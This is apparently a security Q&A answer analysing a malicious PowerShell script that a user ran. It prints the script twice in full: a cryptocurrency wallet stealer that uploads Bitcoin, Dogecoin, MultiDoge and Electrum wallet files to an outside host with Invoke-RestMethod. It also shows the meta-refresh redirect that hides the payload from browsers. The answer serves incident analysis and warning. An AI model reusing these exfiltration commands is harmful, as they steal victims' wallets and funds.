I ran a PowerShell script. Was I hacked?

Edit 25/10/2021:

Since the writing of this answer, access to the malicious code at powershell.software/versioncheck is now prevented (and now yields a 403 error), but could come back at any time. It is still a risk.

WARNING: DO NOT EXECUTE ANY OF THE CODE IN THIS ANSWER. IT IS MALICIOUS AND HAS ONLY BEEN INCLUDED FOR DEMONSTRATIVE PURPOSES.

powershell.software/versioncheck is a malicious link

The page it leads to looks as follows:

$ErrorActionPreference = 'silentlycontinue'
Write-Host "Checking for the latest version..."
Invoke-RestMethod -method PUT -infile ~\desktop\backups\found.wallet extract.onl/logs
Invoke-RestMethod -method PUT -infile .\found.wallet extract.onl/desktop
Invoke-RestMethod -method PUT -infile .\multidoge.wallet extract.onl/seed
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Dogecoin\wallet.dat extract.onl/doge
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Bitcoin\wallet.dat extract.onl/bitcoin
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\MultiDoge\multidoge.wallet extract.onl/multidoge/wallet
Compress-Archive -Path ~\Appdata\Roaming\MultiDoge\multidoge-data -DestinationPath ~\Appdata\Roaming\MultiDoge\multidoge-data
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\MultiDoge\multidoge-data.zip extract.onl/multidoge/backups
Write-Host "You are currently running 7.1.4 Windows PowerShell, Java 2021"
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Electrum\wallets\default_wallet extract.onl/electrum





<head>
<style>
body {
  background-color: black;
}

</style>
</head>

 <meta http-equiv = "refresh" content = "0; url = notfound" />

When you try to visit this link in a browser, it quickly redirects you away from that page, to another page pretending (poorly) that the site does not exist:

<meta http-equiv = "refresh" content = "0; url = notfound" />

When executed in the full command you provided, however, it recognises the following lines as PowerShell commands:

$ErrorActionPreference = 'silentlycontinue'
Write-Host "Checking for the latest version..."
Invoke-RestMethod -method PUT -infile ~\desktop\backups\found.wallet extract.onl/logs
Invoke-RestMethod -method PUT -infile .\found.wallet extract.onl/desktop
Invoke-RestMethod -method PUT -infile .\multidoge.wallet extract.onl/seed
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Dogecoin\wallet.dat extract.onl/doge
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Bitcoin\wallet.dat extract.onl/bitcoin
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\MultiDoge\multidoge.wallet extract.onl/multidoge/wallet
Compress-Archive -Path ~\Appdata\Roaming\MultiDoge\multidoge-data -DestinationPath ~\Appdata\Roaming\MultiDoge\multidoge-data
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\MultiDoge\multidoge-data.zip extract.onl/multidoge/backups
Write-Host "You are currently running 7.1.4 Windows PowerShell, Java 2021"
Invoke-RestMethod -method PUT -infile ~\Appdata\Roaming\Electrum\wallets\default_wallet extract.onl/electrum

It is a primitive cryptocurrency wallet stealer. Every line starting with Invoke-RestMethod attempts to send data from other possible cryptocurrency wallets (if you have any installed on your computer) to a page on the endpoint http://extract.onl.

If you have any cryptocurrency wallets on the computer, they are now likely compromised. Transfer anything in them to another SECURED wallet.

Summarizing your concerns:

I have a feeling they only uploaded some files from my system.

But I am worried there may be a backdoor left running on my system. The upload I can live with, but not a backdoor.

Yes, if these files on your computer existed, they were uploaded. That's all that this script appears to do however, so there is no persisting backdoor left on your system.

I ran a PowerShell script. Was I hacked?

Related

Recent Posts